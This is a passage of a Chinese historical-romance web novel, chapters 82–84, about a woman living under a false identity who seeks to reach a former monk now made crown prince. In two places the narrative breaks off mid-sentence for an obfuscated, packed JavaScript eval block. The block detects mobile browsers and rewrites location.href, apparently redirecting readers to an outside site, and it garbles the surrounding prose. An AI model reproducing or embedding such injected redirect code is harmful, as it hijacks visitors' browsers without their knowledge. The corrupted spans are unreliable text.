九个月的时间,她已经可以毫无别扭地喊萧嘉卉“阿娘”,喊谢洐“阿爹”。 这期间,谢洐见萧嘉卉有些好转后离开过东山,但每次回来都不愿意向陆萸提外面的情况,总是只回复:“待你养好身体再说”。 无需继续操心书院和书店的事,也无需耗费心神去想新出版的书,陆萸的气色倒真让医师给补回来了。 喝过无数滋补汤药后,迟迟未来的初信也终于来了,为此,萧嘉卉还高兴了许久,却让陆萸尴尬了好几天。 刚开始,她只是追着萧嘉卉学洛生咏,再后来,发现萧嘉卉竟然能将琵琶弹得如此出神入化后,她又开始认认真真学琵琶。 现今的世家贵女们都以弹琴和箜篌为雅,觉得琵琶是马背上弹奏的乐器,更有一些人觉得琵琶杀气太重,不适合世家贵女弹奏,可陆萸只学了三个月,就能惊喜地发现,曾经苦学竖笛几年都学不会的她,竟然可以学好琵琶。 有个好学的学生,且又能学出成绩,这让萧嘉卉也很有成就感,抑郁之色也就慢慢从她脸上消失了。 如今的陆萸和萧嘉卉亦师亦友,她想尽办法开解萧嘉卉,萧嘉卉也给她两辈子都没体会过的母爱,除了学会琵琶,她还从萧嘉卉身上学到自己欠缺的东西,就是那种孤注一掷的勇气。 在她看来,萧嘉卉能为心中所爱毅然勇敢地跟着谢洐走上东奔西走的行商之路,而总是瞻前顾后畏首畏尾的自己与之相比,简直弱爆了。 若当初在长安时,自己没有犹豫,直接让曹壬还俗,该有多好!可惜世间没有后悔药。 今日是三月初三,上巳节,陆萸上完琵琶课,从萧嘉卉的院子回到她住的揽春院时,已是黄昏。 她抱着琵琶,坐在窗前漫不经心的弹奏起来,昏黄的夕阳渐渐透过窗棂照入屋内。 金色的光晕下,她忍不住想起那年上巳日,那个坐在清溪河畔的少年郎,那时候的他,眼波平静如枯井。 后来,那双眼终于有了温暖和笑,也有了她的身影。 哪怕只是想起这些,她的嘴角也忍不住带笑,那些年,虽然他的手很冰冷,那双眼却一直温暖着她。 她想好了,只要谢洐归来,这次无论如何都要向他问问外面的情况,不然,长此以往,萧嘉卉的抑郁症治好了,自己恐要得抑郁症了。 阿桃拜郭医师为师后,担心师傅嫌弃她的雍州口音,也和陆萸一起苦学起洛阳调,她还让陆萸把名字改成灼华,取自桃之夭夭,灼灼其华。 陆萸不知不觉在窗边弹琵琶至天黑,灼华气喘吁吁地自外间跑进来,道:“谢郎君回来了,你赶紧去找他。” 她知道陆萸一直很关心外面的情况,所以和师傅一起给萧夫人诊过脉后,急匆匆来给陆萸递消息。 陆萸是在书房找到谢洐的,他去看过萧夫人后,未做休息直接去了书房。 陆萸行礼,“阿爹此番出行还算顺利吗?” 谢洐也对这样的称呼习以为常了,他面带疲惫,伸手揉揉了前额,“你先坐下,今日不用你问,我也有许多事想和你说。” 陆萸依言找了个位置席地坐好后,问:“是生意上遇到麻烦事了吗?” 生意上没出什么事,是外面发生了太多大事,谢洐虽然私心不想告诉陆萸,怕她徒增困扰,可见她那样期待的眼神,又有些于心不忍,于是将过去几个月发生的事都告诉了陆萸。 夜越来越深,谢洐不慌不忙地将所有在陆萸被救之后发生的事都说给她听,书房的烛火亮了很久很久。 当陆萸听到曹壬把她的牌位带走时,她还是忍不住哭了,他应该会怪自己吧?为了亲人,她放弃了和他在一起的机会。 她没有出言打断谢洐,就这样一直安静的听着,唯恐错过关于曹壬的点点滴滴,可当她听到最后时,早已忘记落泪,震惊地看着谢洐久久未能找回想要说出口的话。 “你也震惊吧?”谢洐苦涩一笑,“我初听时也觉得太过不可思议,可这是真的,陛下今日会带新太子在华林园为百官祓禊去灾。” 陆萸仍然沉浸在震惊中回不了神,脑海中一个声音不停在说:身为黑户的她是无论如何都没机会见太子殿下的,他与她竟然这样阴差阳错的错过了。 “阿萸,放下吧,自此以后,你只需在东山安心住着,我可以保你余生衣食无忧”谢洐劝说道。 陆萸怔怔地看着谢洐,眼泪再次滚落都未发现,“可我不甘心呀,明明陛下已经不能威胁他,他为何还要入东宫?他已经忍受了十几年的寒冷,我如何忍心让他继续忍受下去?” 谢洐原是想让陆萸知道真相后能够知难而退,就此歇了心思,断了念想,哪里晓得她听完之后反而更激动了。 她接着道:“我要入东宫,哪怕只是去做洒扫的宫女或其他做粗活的下人,哪怕不能让他知道我活着,只是那样远远看着他,我也想去,求您帮我想办法可好?” 见跪在自己面前的陆萸,谢洐惊痛不已,“你疯了吗?你是世家贵女,如何可以为了他去做这些?” “阿爹,求您了,都言皇宫是吃人不吐骨头的地方,无论他因何种原由成了太子,他依然是君期,我如何能心安理得在此苟且偷生?” 谢洐真是被陆萸气到了,颤抖着伸出手指着她,骂道:“你忘了这命是谁救的吗?早知道你会如此作践自己,我当初就该让他们把你埋在覆舟山。” 陆萸也知道自己是真的不知好歹,可那人是曹壬呀,从不贪慕权势的他去了东宫,余生将只有痛苦陪伴,她如何忍心让他一人? 她如今一无所有,剩下的只有这条贱命,除了想到去东宫做个下人,她真的找不到其他办法了呀! 陆萸苦苦哀求,谢洐却不为所动,甚至让他六钱带人将她拖回了揽春院。 安和十四年的上巳夜,无论是远在洛阳的东宫还是在东山别院,大家都各怀心事,久久不能安心入睡。 翌日,萧嘉卉发现父女两的异常,却只是安静的观察着。 又过了几日,发现女儿总是弹错曲子,她终于主动找谢洐问了原因。 谢洐其实一点都不想让萧嘉卉为此事烦心,但她问起,无奈之下只能将陆萸和曹壬的一场相识稍作改动向她道来。 萧嘉卉听说女儿去白马寺上香看上了佛门弟子,后来因为不想打扰他清修而放手,如今佛门弟子还俗成为太子,哪怕只是听了寥寥几句,她已经自行脑补出一本传世话本。 她双眼充满好奇地问,“太子心里有小鱼儿吗?” 谢洐原是想让卉娘去劝说陆萸,谁曾想竟会有此一问,回道:“这不重要,太子是日后的帝王,心里有没有她,也不妨碍他以后三宫六院。” “可我觉得重要”萧嘉卉道,“他心里有小鱼儿,那就是两情相悦,那是多么难得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033321|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感情呀,你当年有一段很是遗憾的感情,如今难道忍心他们也留下遗憾吗?” “我那事都过去多少年了,你就不要再提了吧?”谢洐颇为不自在地回道。 顿了一下,他似猛然想起什么,震惊地看着萧嘉卉,“莫不是你也想让小鱼儿去东宫做下等宫女?” “宫女?”萧嘉卉不解道,“小鱼儿想做宫女?那怎么能行,她即便是庶出,也是谢氏女,至少可以做个良娣的。” 谢洐差点露馅,忙道:“是我口误,口误。” 萧嘉卉却开始认真的思考起来,顿了一下,才道:“你去萧府提亲吧,我要做正室,小鱼儿若是嫡女,就有机会做太子妃。” 谢洐听了这话,与那天听到陆萸说要进东宫时一样震惊,他问:“当年我要将你扶正,你不是不愿意吗?而且,” 他话未说完,被萧嘉卉立马打断,“莫非,你当初说要扶正我,是假的?” 说着,她的眼眶瞬间噙满泪水,一副欲说还休,满脸委屈的摸样。 谢洐最怕见她这样,忙拿起帕子想要替她擦拭,边道:“我何时说过假话,我是想说,你舍得让小鱼儿进宫吗?那得遭多少罪呀?” 萧嘉卉一把抢过手帕,随意擦拭后,道:“人生短短几十载,你想那么远做什么,我将命不久矣,只想在死之前看着小鱼儿能嫁给心爱之人,至于以后,若是她过得不好,再让他们和离不就行了?” 谢洐听了,觉得脑门“突突突”的疼,太子妃哪有那么容易和离,不过,有谢氏和萧氏做后盾,倒也可以让她在宫里好过一些。 他轻叹一声,“不要动不动就说死,这些日子你的身体已有好转,若小鱼儿听你这些话,会难过的。” 她的软肋就是女儿,虽然这个女儿是假的,但他看得出来,他们二人已经建立起深厚的感情。 “我不管,要么你尽快想办法让小鱼儿竞选上太子妃,要么帮我送信给阿兄,让他帮小鱼儿成为太子良娣,总之我不想她留下遗憾。” 随着萧嘉卉的身体渐渐好转,谢洐觉得当初那个勇敢果决且主意很大的萧氏卉娘好像又回来了,她所说的阿兄就是当年把谢洐狠狠揍了一顿,如今官至中书监的萧奇。 虽然谢洐真不想陆萸进宫,但也真怕让萧嘉卉留下遗憾,她的身体也不知道还能熬多久,若她被扶正,就能继续和萧氏亲人来往,想来那时候她也会开心。 萧嘉卉被谢洐再三安抚好后满意的睡着了,他却躺在她的身旁思考了一整夜。 第二天,看着难得在睡梦中带着平静的萧嘉卉,他轻叹一声,起身着手准备去了,陆萸是自己救回来的,就当是自己的债吧。 陆萸是在几天后从萧嘉卉口中知道他们的打算的,最近令人震惊的事频频发生,她听过后,迅速平复情绪了。 静默须臾后,她只觉得鼻子发酸,于是伸手抱住萧嘉卉,“阿娘,你无需为我做这么多的” 她会内疚,为自己的欺瞒,萧嘉卉对她越好,她就越不知该怎样去回报,如今还一门心思想进宫,果真成了谢洐口中的白眼狼了。 萧嘉卉很喜欢陆萸这样依恋的抱着自己,那些浑浑噩噩的日子她早已过够,能这样让女儿躺在自己怀中,是她盼了十几年才盼来的。 她伸手轻轻拍拍陆萸的背,温言出声,“傻女儿,何为父母?父母就该是孩子最坚强的后盾,是孩子累了、困了可以休息的港湾,父母为子女做一切时,永远都不会觉得多。” 陆萸听后,忍不住将眼泪落在萧嘉卉的胸前,她何德何能,得萧嘉卉这样的温暖,哪怕不是真的谢知鱼,这一刻,她也恨不得自己就是谢知鱼。 她在心底默默发誓,以后,她就是谢知鱼,她也要用同样的用心去回报萧嘉卉。 安和十四年四月,洛阳城发生了一件多少年后仍让大家津津乐道的事,当年风流倜傥风靡洛阳的谢氏九郎终于要成亲了,而他求娶的是消失很多年的萧氏嘉卉。 让大家津津乐道的不止于此,还有二人这十多年来相互扶持开辟商道,以及二人只育有一女却仍然恩爱两不疑的一段佳话。 谢洐说,他一直以来是个高调的人,娶妻这事如何能不高调呢?所以他让陆氏的星火书院将二人的动人故事悄悄流传开来,这样,萧氏就算想反对,也不可能了。 故事里的萧嘉卉和本人一样,贤惠体贴又勇敢,而谢知鱼是个常年卧病,泡在药罐子里的病美人。 听灼华复述完外面流传的故事后,陆萸忍不住找了谢洐。 她一脸担忧,“阿爹,你和阿娘的故事是真的,可我这样貌真配不上故事里的角色。” 谢洐听后,却是笑道:“我是当年艳绝洛阳的谢九郎,我的女儿怎会长得差?再说,你是太懒不想打扮,等我给你配个会化妆的侍女,就配得上故事里的角色了。” 83. 第八十三章 陆萸对“美人”这个流传有些心虚,但对“病”这个字特别满意,一旦有病在身,她就可以拒绝那些没必要的社交,甚至出门也可以找到各种理由戴帷帽。 选块不容易窥视的厚纱料做帷帽,然后换个口音,就很难让人认出帽子下的人是陆萸,至六月时,她已经戴着帷帽和萧嘉卉出过两次东山别墅。 萧嘉卉对她不肯摘帽子的行为不解的时候,她就解释说是因为常年养病很少见陌生人,所以养成了怕见陌生人的性子。 谢洐高调求娶萧氏女,萧氏自然也听到他让人流传的故事,所以家主萧奇并没有为难他,只是提出必须让萧嘉卉八抬大轿从萧府出嫁。 不过,万事谈妥,谢洐的父亲承恩侯却开始作妖了,他觉得既然只是将妾室扶正,就该按那个礼数来,就算三媒六聘娶新妇,也该先问过他的意见,哪有连孩子都生了还补办婚礼的说法,简直让人贻笑大方。 承恩侯以前拿儿子的钱补贴家用的时候吃人嘴软,在谢洐面前常常低声下气,如今终于有机会摆摆一家之主的威严,自然不愿意放过,他以为这样就可以拿捏住谢洐。 谁曾想,谢洐也不是愿意吃亏的性子,干脆豪横地向朝廷捐献了十万两黄金,以做北境战事之用。 那是十万两黄金呀,当朝廷将如此义举昭告天下时,大家除了感叹谢洐富有之外不得不在心底赞他一声高义,而承恩侯听到次消息,直接气得病倒了,哪怕连床都起不来,他还在口中不停骂着:“逆子,当初就不该让这逆子进宫。” 一旁伺候的承恩侯世子听到老父亲整日骂咧咧不消停,心里却很是鄙夷,早就劝说过父亲不要为难弟弟,父亲就是不听。 如今好了,十万两黄金都进国库就算了,皇帝为了嘉奖谢洐的义举给他封了忠义侯,允许他和承恩侯府分府而居,自此以后,承恩侯府再想去找弟弟打秋风恐怕就更难了。 谢洐的义举和承恩侯府的笑料一起被传到东山时,已是夏末,此时陆萸正陪着萧嘉卉收拾行装,准备回洛阳。 经过一年的休养和滋补,陆萸的伤势已经痊愈,连个子也猛地窜高了很多,她的脸上已经没有之前的婴儿肥,唇畔酒窝还在,但不笑的时候看不出来了。 这一年,萧嘉卉也恢复的不错,已经有将近半年未再复发,如今酷暑刚过,很适合出远门,东山至洛阳,至少需要一个月的时间,而他们的婚期定在十一月,算算时间,正适合。 因谢洐忙于新建府邸筹备婚礼,所以留在洛阳没有回来,只是差了三百名部曲护送萧嘉卉母女回洛阳。有了之前的故事,再配上这样的阵仗,凡母女二人所经之处都免不了引来外人围观。 自在东山养病后,萧嘉卉已经很多年没有出远门了,原本想好好欣赏沿途美景的她,如今也不得不戴上帷帽。 快要到洛阳时,陆萸发现萧嘉卉不时掀起帘子查看外面,能够见到分别多年的家人,她一定很紧张。 陆萸伸出手握住她的手,“阿娘,不用紧张,亲人相逢是值得高兴的事。” “我,我没有紧张,只是,只是担心母亲和哥哥还不能原谅我” “阿娘,倘若再来一次,您还会义无反顾追随阿爹吗?”陆萸问。 萧嘉卉闻言,愣了一下,回:“自然会,追随九郎我从未后悔过,虽然刚开始有点苦,可后来他对我一直很好。” “那就是了,您的父母兄长知道您的脾性,想来也不忍心继续责怪于你”陆萸道。 当初谢洐想要将她扶正时,她刚刚生下谢知鱼,担心自己福气太盛夺了女儿的气运,所以她拒绝了,后来谢洐又提过几次,可她缠绵病榻,慢慢也就被耽搁到了现在。 她是真心爱慕九郎,所以一开始就没在意过那些虚的,反而因为生的女儿让九郎操碎了心而心生愧疚,不奢望做这个正室。 当初陆萸听到这些理由时,沉默了许久,哪怕她已经付出那么多,还会因为没有生出健康的孩子而对夫君有愧,这让陆萸找不到任何语言开解,只能在心底感叹这就是古代和后世的文化差异。 当年谢洐年轻气盛,只想从长公主那里争回一口气,谁曾想被萧奇毒打一顿,好多天都下不来床,对萧嘉卉也不会有什么好脸色。 陆萸猜想,如果当年萧奇没有那么冲动,以谢洐心软的性子,应该很快就能把萧嘉卉扶正的。 “什么我的父母兄长,他们是你的外祖母和舅父”萧嘉卉出言纠正道。 突然多了一堆亲戚,陆萸还真不习惯,忙笑回:“知道了,我怕生人,阿娘替我担待一些就是。” 提起这个,萧嘉卉连紧张都忘记了,反而替陆萸担忧起来,女儿这个怕生人的毛病还是得慢慢适应才是,不然进了宫以后铁定会被人欺负的。 “没事,待回到萧府,你和我住一个院子,有哪些不懂的我会提点你的。” 陆萸笑着扑进萧嘉卉的怀里,轻轻蹭了蹭,软糯糯地开口:“阿娘是世上最好的娘亲。” 从一开始的生疏到现在,才过一年的时间,陆萸已经能时不时厚着脸撒娇了,能撒娇原来是如此幸福的事,她感觉自己越活越年轻了。 每次听到这样的夸赞,萧嘉卉就觉得心都快融化了,所有的烦恼和紧张也都瞬间抛到九霄云外。 洛阳城东阳门外,谢洐和萧奇早已侯在那里。 萧嘉卉先是和谢洐打过招呼后,带着陆萸去见了萧奇。 有了女儿的安慰,见到多年未见的兄长,她语带激动,却还是大方行了礼。 萧奇也很激动,忙上前扶过妹妹:“回来就好,以后还是一家人。” 陆萸见时机差不多了,忙上前怯生生的唤了一声,“舅父安好。” 谢知鱼的情况萧府早就知道,所以萧奇对谢知鱼很是怜惜,忙道:“等回府,我让府中女郎带你玩。” 就这样,谢洐只匆匆见过二人,他们就被萧奇接去萧府了。 临分别,谢洐悄声对陆萸道:“萧府女眷之前没见过你吧?” 陆萸回想一下之前在洛阳时,一直是男装示人,除了去华彩阁见过杨蓁蓁,她就没离开过书店,于是回:“阿爹放心,他们认不出我。” 如今杨氏姐妹都已经出嫁,在洛阳认识她的女郎就只剩陆妘了,没听说陆妘和萧氏姐妹交好,她也不用担心被发现。 萧府在治粟里,陆氏定北侯府在永康里,二府隔得远,也不会在门口相遇,而谢洐新建的忠义侯府在东宫隔壁的永安里,永安里住着很多皇亲,他们不会随意邀请邻居串门。 所以陆萸只需在萧府住一个多月后,跟着萧嘉卉嫁去永安里,就能日日躲在府中不用外出社交了。 陆萸跟着萧嘉卉和萧府众人见面的场景,让陆萸想起了林黛玉进贾府时的场景。 萧老夫人先是抱着萧嘉卉哭了一阵,待看到一脸病色的谢知鱼,又忍不住哭了一场。 陆萸为了能和故事中的病美人对上号,特意上化妆高手红菱把妆容弄得惨白且虚弱,饶是心里有准备的众人,在见到这样的谢知鱼时,也忍不住可惜起来。 竟然把老母亲给弄哭了,事后萧嘉卉为此和女儿道:“日后不可再作此妆容。” 陆萸却只是赔罪道:“今日让外祖母上心是我错了,不过,我日后戴帷帽,他们就不会觉得奇怪了呀。” 听此话,萧嘉卉又舍不得责怪女儿了,这种心病无药可解,只能慢慢适应。 在萧府的日子比陆萸想象中要平静,除了那天家宴,她都没出现在众人面前。 这期间,未出阁的表姐妹偶尔会来找她玩,还偷偷和她聊起了东海王世子的事。 如今,前世子妃的院子已经改做他用,杨蓁蓁也已经嫁去东海王封地,府里的表姐妹们却依然对东海王世子鄙夷的很。 其实并没有什么已逝佳人的魂魄归来,是东海王世子饮酒后眼花,将长得酷似前世子妃的萧六娘看错成萧四娘,萧六娘上个月刚和清河王五公子定亲,婚期定在明年六月。 这其间的歪歪道道他们没细说,陆萸也猜到了是萧府的一场计谋,不过只能怪东海王世子意志不坚定还贪心,这也想要那也想要,才惹怒了萧氏。 当听到慧悟法师时常上门讲经时,她忍不住出声,“慧悟法师真的给四表姐在白马寺点了长明灯?” 萧七娘忙道:“千真万确,我和阿娘去看过的。” 陆萸想,或许白马寺也有一盏属于她的灯,想到他为自己点灯时肯定很难过,她的心口顿时难受得有如被钝刀慢慢切割。 一个多月的时间过的很快,萧嘉卉出嫁那天,陆萸以害怕人多热闹的场合为由,一大早就悄悄坐着车回了永安里忠义侯府。 谢洐为了让萧嘉卉能快速适应,把忠义侯府所有院子和东山别墅取了一样的名字,谢知鱼住的依然是揽春院。 陆萸如今有三个近身侍女,青琼、玉瑶和红菱,灼华担心陆萸被发现,最近也没有去郭医师那里学医,而是寸步不离地跟着陆萸。 “女公子,改变音色的药,若非迫不得已,你还是不要吃为好”灼华道。 陆萸担心紧急情况下会忘记变换语调,所以让灼华配了那种让人吃了可以暂时带感冒鼻音的药,这样,没有见她的脸时,别人不会想到她是陆萸。 只是这种药有个副作用,就是伤嗓子,吃一次,要半个多月才会恢复。 “放心,我不会乱吃的”陆萸笑着保证。 不知为何,一想到今天有很多人会来参加婚礼,灼华比新娘还紧张,卢大公子和太子身边的八喜当初在建业见过陆氏女,所以,她既盼着太子殿下能来,又担心他来了以后女公子在偷看他时被别人发现。 黄昏时分,婚礼的流程刚结束新娘还未来得及送入新房,太子曹壬就带着贺礼上门了。 于公,谢洐刚刚豪横支援北境,作为太子必须来,于私,他和谢洐在建业时是旧识,所以他不但来了,还当着众宾客的面以茶代酒向谢洐夫妻送上了恭贺之词。 “我在此恭祝九叔和九婶百年好合”曹壬说完,将手中茶水饮尽。 九叔?心细的宾客对这样的称呼有些摸不着头脑,谢洐虽然行九却不姓曹,连一旁手持却扇的萧嘉卉都愣了一下,可谢洐却非常高兴他此刻还能喊他一声“九叔”,毫不犹豫将酒杯的酒饮尽了。 若九丫头听到了,肯定很开心,曹壬已贵为太子,却仍然愿意随着她喊那声“九叔”。 好在礼成后,新娘要被送去新房,大家也被喜庆的欢呼声给打断了思绪。 曹壬不喜欢太过热闹的场合,祝福和贺礼都送上后,正打算回东宫,却被身后的谢洐叫住了。 谢洐道:“还请殿下留步,臣下的府宅今年刚修建,故想邀殿下前去参观参观。” 自曹壬被册封为太子后,朝中很多人想拉拢他,可以各种名目发出的拜帖都石沉大海了,如今谢洐竟然当着大家的面找了个这么烂的理由和太子殿下套近乎,有人忍不住笑着起哄:“忠义侯为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050292|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下连新娘子都顾不上了。” “忠义侯不怕萧氏再打你一顿吗”有人笑着附和。 听着身后此起彼伏的笑闹声,曹壬原本迈出去的脚又收了回来,他微微让开身子,道:“那就请九叔带路。” 十一月的北方没有任何景致可看,可太子殿下依然愿意陪忠义侯闲逛,这可真是羡慕死在场的人了。 至后院,谢洐边走边道:“不曾想,才短短一年的时间,竟已物是人非,殿下日后不可再唤臣九叔。” “今日九叔大喜,若阿萸知道,肯定很开心”曹壬抬头看着远处的晚霞答。 今日谢洐大婚,难得遇到冬日里的好天气,连黄昏下的晚霞都如此美艳动人,他不知谢洐为何要邀请自己到后院,只是想到已经很久没有机会和故人聊阿萸,他就忍不住跟着来了。 “九丫头当年和我说,她要挣很多钱,然后带着殿下走遍大魏河山,其实,钱哪有赚够的时候”谢洐轻叹。 曹壬原猜想谢洐是想带他去书房聊重要的事,不曾想,他竟然真的只是带着自己在院中闲逛,不大的忠义侯府才转几圈也就转完了。 如今听他突然有此感叹,脚步一顿,心绪瞬间难以平复,他和阿萸,只差一点就能实现那样美好的愿望了,只差那一点时间而已。 走到一个写有揽春院的院门口,曹壬停下脚步,“想必这里是女眷住所,我便不进去了。” “无妨,小女体弱多病,如今在休息,我只是想带你去亭中小坐,看看荷塘”谢洐道。 一旁的八喜忙道:“如今天色已晚,寒气将袭,侯爷能否换个地方?” 谢洐听后,只是平静地看着曹壬,“殿下想知道故事《一世安》的结局吗?” 曹壬闻言,怔怔地看着谢洐,“难道,那时候阿萸没有讲完?” 谢洐笑笑:“殿下可随我进去,我把后面的故事讲给您听。” 八喜不知道他们打什么哑谜,但他不想殿下进去看萧瑟破败的荷塘,只是他还未来得及劝说,曹壬就已开口,“你在这里候着即可,我随忠义侯去亭中小坐。” 于是八喜瞬间吓得大气都不敢出了,他真的已经按师傅教的伺候太子了,奈何太子对自己一直都这么冷淡。 眼看太子越走越远,他想追上去,却又不敢,只能站在揽春院门口干着急。 陆萸已经在窗边等了一下午,她让灼华用个木棍把格子窗撑起了一条缝,这样,席地坐在窗下就能偷偷观察亭中的人。 看到熟悉的身影终于出现在亭中时,她既紧张又激动,将双手用力捏住窗口边缘,连手掌被压出红印都没发现。 曹壬一心想着一世安的故事,所以并没发现有人在偷看自己,待二人坐定后,他问:“九叔真的只是想和我讲故事吗?” “算是,也不算全是,我就是上年纪了,想找个故人叙叙旧。” 谢洐当初为陆萸想的这个馊主意非常不齿,但没办法,他一心软就答应了,如今只能硬着头皮想办法留曹壬在这里多坐一会。 六钱迅速给二人上茶后就退出了亭子。 端起茶杯抿一口,谢洐道:“当年九丫头迟迟不给我送陆氏的新茶,我还抱怨过她,她的茶道我没学,不过陆氏今年的秋茶,我没对殿下藏着掖着,您尝尝看,味道是否如旧。” 氤氲的茶雾在二人中间袅袅升起,曹壬想起那年在静初寺,阿萸送他茶叶,她说想做他的影子。 他问,“所以,一世安的结局是怎样的?” 谢洐将陆萸讲的结局毫无遗漏的全部讲给曹壬听,然后道:“觉能可以为大义不顾生死,元公主也可以为追随心爱之人而奋不顾身,想必,聪慧如你,这样的结局早就猜到了吧?” “虽早就猜到,我却还想再听听她讲的故事,如今除了九叔,已无人再与我谈起她了”曹壬满眼伤痛的看着谢洐。 谢洐望之,大受触动,端起的茶汤迟迟未能饮下。 过了许久,他道:“我不知殿下为何答应陛下还俗,可既然已在其位,就只能谋其事,您如今羽翼未丰,就先蛰伏隐忍着,有需要我的地方尽管提,某万死不辞。” “我知道,多谢九叔”曹壬端起茶杯一饮而尽。 茶汤还是和以前一样的味道,可早已物是人非,他心中正感慨万千,突然感觉到一股炙热的视线,于是猛然抬眸看向不远处的格子窗。 不知是不是错觉,他好像看到有一个粉色身影迅速消失在窗下,可即便如此,那股炙热的视线却一直不曾消失。 此时的陆萸趴在地上大气都不敢喘一下,虽然知道他看不见自己,可还是心虚地迅速将身子趴了下来。 他方才看过来的眼神太过凛冽,那眼神就像快速射出的冰凌能将人杀于无形,让她忍不住害怕颤抖,那是她从未见过的。 二人自长安一别,至今已满两年,还俗后的他,那双眼中好不容易出现的温暖消失了,取而代之的是平静和冷漠,一如当年在覆舟山清溪河畔的相遇。 这样熟悉又陌生的他,让她止不住心疼,她不该躲避他的视线的,思及此,她再次趴回窗下,痴痴地看着他,眼泪无声滑落。 自入主东宫后,曹壬接收过无数女郎痴缠的目光,那时他只觉得烦不胜烦,可今日这道视线让他觉得莫名有些熟悉。 虽然知道她已经不在,知道那不可能是她,可他依然舍不得错过哪怕一点点的熟悉感,于是陪着谢洐又坐了一会,直至天色全黑,他才起身离开。 84. 第八十四章 太子妃之争 陆萸就这样躲在那扇格子窗后面,看他饮茶,看他与谢洐交谈,看他偶尔扬起的嘴角和不经意间皱起的眉头,他的一切她都想看,然后牢牢记在心中。 看得越久,她越想出去相认,可最终不得不生生忍着,他成为太子还未满一年,此时的他还没培养出自己的党羽,未免节外生枝,谢洐和她商定好,要拿到册封谢知鱼为太子妃的旨意后,二人再找机会相见。 曹启皇帝对曹壬无疑是欣赏爱护的,但不代表他可以容许太子感情用事,所以谢洐和陆萸都不敢去赌。 时间很快到了安和十五年春,太子册封已满一年,眼看太子已满二十五,朝中开始有人提选太子妃的事,皇帝对此也没有异议,于是开始让各大世家把适龄未婚女郎的名单报上来。 谢洐就是这个时候把谢知鱼报上去的,曹启皇帝看到时,视线稍作停留,问庆平“谢洐宝贝得跟眼珠子一样的女儿,你可曾见过?” “连太后娘娘都未曾见过,奴婢哪有那个荣幸”庆平忙回。 这事曹启皇帝知道,太后多次让谢洐带谢知鱼进宫,谢洐都以女儿需要卧床养病为由拒绝了,大家知道他的性子,也就没有勉强。 世人都知道谢洐的妻女皆是病秧子,本来想和他结亲的世家从萧府打听过后,确定谢知鱼的病是真的,也就都歇了心思。 皇帝随意筛选一遍后,将筛选后的名单递给太子,“你看看,有没有你喜欢的女郎。” 曹壬却没有去接,“父皇觉得谁合适,我娶谁便是。” “这可不行,结婚是结两姓之好,且她日后要母仪天下,你心里得有个衡量才行”曹启皇帝劝道。 曹壬这才不情不愿地接过名单看起来,待看到谢知鱼的名字时,他脑海中突然想起那个追鱼的故事,不过仅一瞬,他就快速翻到了下一页。 几日后,太子妃最终入选名单还未公布,太子却病倒了,徐医仙为他诊断为是旧疾复发,宫中御医也一起诊治了,太子的脉象确实是不治之症。 一时间,大家又想起了当年的传言,传言太子殿下活不过二十,是皈依佛门才得以康复,如今还俗,是不是惹佛祖生气,才让他旧疾复发? 曹启皇帝在听过越传越离谱的谣言后,第一次当着曹壬的面发火了,“你不想成亲,与朕说就是,何必闹这一出!” 曹壬虚掩嘴唇轻咳几声后,回:“儿臣生病是真,身怀旧疾也是真,父皇为何生气?” 曹启皇帝觉得这是曹壬在玩心眼,可他找不到证据,这让他想起当初想对陆氏女偷梁换柱却失败了,那种不受自己掌控的感觉让他恐惧,因此一时间乱了方寸。 顿了一会,平复情绪后,他道:“这样也好,至少可以把墙头草筛选掉一些,让他们重新报一份名单吧。” 如此一来,果真如皇帝所料的,重新送上来的名单比上一次少了整整一半,有些世家甚至把之前的嫡女换成了庶女,为此,皇帝又发了一次火,他们怎么可以如此羞辱皇室? 杨氏太子妃的先例还在眼前,大凡爱护子女的世家都舍不得把嫡女送进东宫。 虽然皇室已经放杨氏太子妃归家,可她若想再嫁,定然只能做继室。 曹壬只是平静地将皇帝一怒之下扔在地上的名单捡起,然后道:“太子娶亲,为的无非是给皇权找一助力,父皇想必比儿臣更懂其间之道。” 在他将要把名单放回龙案上时,无意间看到谢知鱼的名字竟然还在,拿名单的手顿了一下,他倒有点想去问问谢洐的打算了。 曹启皇帝被曹壬这含沙射影的话弄得极其不舒服,他当年找了杨氏女做皇后,确实把谢太傅一党斗出朝堂,可后来杨氏做大,也让他到处被掣肘。 娶有助力的太子妃,有好也有坏,所以这次选太子妃,他就没打算选家室太显赫的,可若是太子妃太软弱,他又担心自己驾崩后,曹壬搞不定杨宪那个老狐狸。 犹犹豫豫间,这事也就一直未能做出决断,他不耐烦地重新翻看名单,看到谢知鱼时,不悦道:“谢洐就是胡闹,知道你旧疾复发,还把病秧子女儿报上来,如今朕一想到外人传你活不过三十,就不想看到生病的人,连名字都不想看到。” 说完,他再次把名单狠狠砸在龙案上,他决定了,与其耗费心力替曹壬选个他不满意的,不如拿着这些名单去朝堂上,让他们吵个够,看最后谁能吵赢,再从那些世家里定下一个。 就这样,太子妃人选之争开始了。 那天过后,曹壬想找机会问问谢洐的打算,却一直没机会,因为去年底谢洐携妻女回陈郡祭祖以后,听闻谢知鱼受不了北方的天气,又病倒了,谢洐如今正陪妻女在陈郡祖宅休养。 皇帝把名单拿到朝堂上后,的确很有效果,朝臣们比皇家父子还认真仔细,将名单上的女郎挨个提出来发表看法,才过去几天,名单上的名字有一半被划掉了。 如此又继续讨论了几天,名单上就只剩下十人了。 